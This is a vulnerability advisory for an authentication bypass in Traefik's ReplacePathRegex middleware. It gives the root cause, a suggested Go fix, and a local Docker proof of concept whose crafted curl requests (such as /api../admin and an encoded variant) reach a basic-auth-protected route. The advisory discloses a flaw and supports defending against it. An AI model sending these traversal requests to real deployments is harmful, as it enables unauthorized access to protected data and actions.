CVE-2026-65600 — v2

Summary

There is a critical authentication-bypass vulnerability in Traefik's ReplacePathRegex middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example regex: "^/api(.*)", replacement: "/$1"), a crafted request can produce an un-normalized replacement path such as /../admin, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for StripPrefix in CVE-2026-48020; that post-replacement normalization check had not been applied to ReplacePathRegex. The fix rejects any request whose replaced path does not match its normalized form.

Patches

• https://github.com/traefik/traefik/releases/tag/v2.11.52
• https://github.com/traefik/traefik/releases/tag/v3.6.23
• https://github.com/traefik/traefik/releases/tag/v3.7.7

For more information

If you have any questions or comments about this advisory, please open an issue.

Summary

A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.

Details

When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., regex: "^/api(.*)", replacement: "/$1"), an attacker can inject implicit traversal sequences into the capture group.

Root cause: pkg/middlewares/replacepathregex/replace_path_regex.go, function ServeHTTP (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.

Attack flow:

1. Attacker sends GET /api../admin
2. sanitizePath passes it unchanged (api.. is a valid segment name, not a dot-segment)
3. Router matches PathPrefix(/api) → selects the public router (no auth middleware)
4. ReplacePathRegex applies ^/api(.*) → captures ../admin → replacement produces /../admin
5. No normalization check exists → path forwarded to backend as-is
6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes /../admin to /admin
7. Attacker receives protected content without authentication

Suggested fix: Add the same JoinPath equality check after line 67:

if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {
    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
    return
}

PoC

Prerequisites: Docker Engine 20.10+, Docker Compose v2, curl

1. Create docker-compose.yml:

services:
  traefik:
    image: traefik:v3.7.6
    command:
      - "--api.insecure=true"
      - "--providers.file.filename=/etc/traefik/dynamic.yml"
      - "--entrypoints.web.address=:80"
    ports:
      - "8080:8080"
      - "80:80"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
    healthcheck:
      test: ["CMD", "traefik", "healthcheck"]
      interval: 5s
      timeout: 3s
      retries: 5
  backend:
    image: node:22-alpine
    working_dir: /app
    volumes:
      - ./server.js:/app/server.js:ro
    command: ["node", "server.js"]
    healthcheck:
      test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"]
      interval: 5s
      timeout: 3s
      retries: 5

2. Create dynamic.yml:

http:
  routers:
    public-api:
      rule: "PathPrefix(`/api`)"
      entryPoints: [web]
      middlewares: [rewrite-api]
      service: backend-svc
      priority: 1
    protected-admin:
      rule: "PathPrefix(`/admin`)"
      entryPoints: [web]
      middlewares: [auth]
      service: backend-svc
      priority: 2
  middlewares:
    rewrite-api:
      replacePathRegex:
        regex: "^/api(.*)"
        replacement: "/$1"
    auth:
      basicAuth:
        users:
          - "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/"
  services:
    backend-svc:
      loadBalancer:
        servers:
          - url: "http://backend:3000"

3. Create server.js:

const http = require('http');
const path = require('path');
const server = http.createServer((req, res) => {
  const normalized = path.posix.normalize(req.url.split('?')[0]);
  res.setHeader('Content-Type', 'text/plain');
  if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); }
  else if (normalized === '/admin' || normalized.startsWith('/admin/')) {
    res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\n`);
  } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\n`); }
});
server.listen(3000);

4. Run and exploit:

docker compose up -d && sleep 5

# Confirm auth is enforced:
curl -s -o /dev/null -w "%{http_code}" http://localhost/admin
# → 401

# Auth bypass:
curl -s http://localhost/api../admin
# → ADMIN_SECRET_DATA (normalized=/admin)

# URL-encoded variant:
curl -s http://localhost/api%2e%2e/admin
# → ADMIN_SECRET_DATA (normalized=/admin)

Configuration note: The regex ^/api(.*) (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to StripPrefix("/api") for legitimate traffic. The pattern ^/api/(.*) (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where StripPrefix("/api") was vulnerable but StripPrefix("/api/") was not.

Impact

Authentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.